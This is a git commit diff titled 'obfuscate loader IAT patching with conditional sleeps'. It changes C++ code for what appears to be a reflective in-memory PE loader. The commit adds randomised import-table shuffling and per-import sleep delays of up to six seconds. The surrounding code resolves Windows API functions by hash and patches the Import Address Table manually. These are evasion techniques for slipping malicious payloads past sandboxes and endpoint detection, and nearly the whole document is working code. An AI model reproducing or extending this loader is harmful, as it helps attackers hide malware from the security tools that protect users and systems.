obfuscate loader IAT patching with conditional sleeps
This commit is contained in:
parent
f820b24339
commit
e60e521653
@ -95,7 +95,7 @@ void Load(PBYTE pImage, DWORD dwFunctionHash, PVOID pvUserData, DWORD dwUserData
|
|||||||
4.) Resolve the imports by patching the Import Address Table (IAT)
|
4.) Resolve the imports by patching the Import Address Table (IAT)
|
||||||
*/
|
*/
|
||||||
|
|
||||||
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, eng))
|
if (!PatchImportAddressTable(pNewImageBase, pDataDir, pLoadLibraryW, pGetProcAddress, pSleep, eng))
|
||||||
{
|
{
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@ -189,7 +189,7 @@ void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders
|
|||||||
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
|
pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0);
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng)
|
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng)
|
||||||
{
|
{
|
||||||
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
|
auto pImportDescriptor = reinterpret_cast<PIMAGE_IMPORT_DESCRIPTOR>(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
|
||||||
|
|
||||||
@ -200,8 +200,9 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
|
|
||||||
/*
|
/*
|
||||||
1.) Shuffle Import Table entries
|
1.) Shuffle Import Table entries
|
||||||
2.) Conditional execution based on ordinal/name
|
2.) Delay the relocation of each import a semirandom duration
|
||||||
3.) Indirect function call via pointer
|
3.) Conditional execution based on ordinal/name
|
||||||
|
4.) Indirect function call via pointer
|
||||||
*/
|
*/
|
||||||
|
|
||||||
int importCount = 0;
|
int importCount = 0;
|
||||||
@ -213,7 +214,10 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
pId++;
|
pId++;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (importCount > 1)
|
std::vector<std::pair<int, DWORD>> sleepDurations;
|
||||||
|
std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS);
|
||||||
|
|
||||||
|
if (importCount > 1 && OBFUSCATE_IMPORTS)
|
||||||
{
|
{
|
||||||
for (auto i = 0; i < importCount - 1; i++)
|
for (auto i = 0; i < importCount - 1; i++)
|
||||||
{
|
{
|
||||||
@ -224,6 +228,10 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
auto tmp = pImportDescriptor[i];
|
auto tmp = pImportDescriptor[i];
|
||||||
pImportDescriptor[i] = pImportDescriptor[j];
|
pImportDescriptor[i] = pImportDescriptor[j];
|
||||||
pImportDescriptor[j] = tmp;
|
pImportDescriptor[j] = tmp;
|
||||||
|
|
||||||
|
// Store unique sleep durations with their corresponding import index
|
||||||
|
auto sleepTime = sleepDist(eng);
|
||||||
|
sleepDurations.push_back(std::make_pair(i, sleepTime));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -231,8 +239,20 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
HMODULE hModule;
|
HMODULE hModule;
|
||||||
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
|
PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat;
|
||||||
|
|
||||||
while (pImportDescriptor->Name)
|
for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++)
|
||||||
{
|
{
|
||||||
|
// Apply delay
|
||||||
|
if (OBFUSCATE_IMPORTS)
|
||||||
|
{
|
||||||
|
auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair<int, DWORD> &pair)
|
||||||
|
{ return pair.first == i; });
|
||||||
|
|
||||||
|
if (it != sleepDurations.end())
|
||||||
|
{
|
||||||
|
pSleep(it->second);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
|
pwszModuleName = reinterpret_cast<LPCWSTR>(pNewImageBase + pImportDescriptor->Name);
|
||||||
hModule = pLoadLibraryW(pwszModuleName);
|
hModule = pLoadLibraryW(pwszModuleName);
|
||||||
|
|
||||||
@ -247,7 +267,7 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
LPCSTR lpProcName;
|
LPCSTR lpProcName;
|
||||||
PIMAGE_IMPORT_BY_NAME pImportByName;
|
PIMAGE_IMPORT_BY_NAME pImportByName;
|
||||||
|
|
||||||
while (pThunkData->u1.Function)
|
for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++)
|
||||||
{
|
{
|
||||||
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
|
if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64)
|
||||||
{
|
{
|
||||||
@ -262,12 +282,7 @@ BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDat
|
|||||||
}
|
}
|
||||||
|
|
||||||
pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName));
|
pThunkDataIat->u1.Function = reinterpret_cast<ULONGLONG>(pGetProcAddress(hModule, lpProcName));
|
||||||
|
|
||||||
pThunkData++;
|
|
||||||
pThunkDataIat++;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
pImportDescriptor++;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
|
@ -4,7 +4,8 @@
|
|||||||
#include <winternl.h>
|
#include <winternl.h>
|
||||||
#include <random>
|
#include <random>
|
||||||
|
|
||||||
#define IMPORT_DELAY 6 * 1000 // 6 seconds
|
#define MAX_IMPORT_DELAY_MS 6 * 1000
|
||||||
|
#define OBFUSCATE_IMPORTS 1
|
||||||
#define HASH_KEY 5381
|
#define HASH_KEY 5381
|
||||||
|
|
||||||
#define KERNEL32_DLL_HASH 0x6DDB9555
|
#define KERNEL32_DLL_HASH 0x6DDB9555
|
||||||
@ -72,5 +73,5 @@ DWORD CalculateHash(const UNICODE_STRING &baseDllName);
|
|||||||
// Loader functions
|
// Loader functions
|
||||||
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
||||||
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
||||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, std::mt19937 &eng);
|
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng);
|
||||||
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);
|
void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache);
|
||||||
|
Loading…
Reference in New Issue
Block a user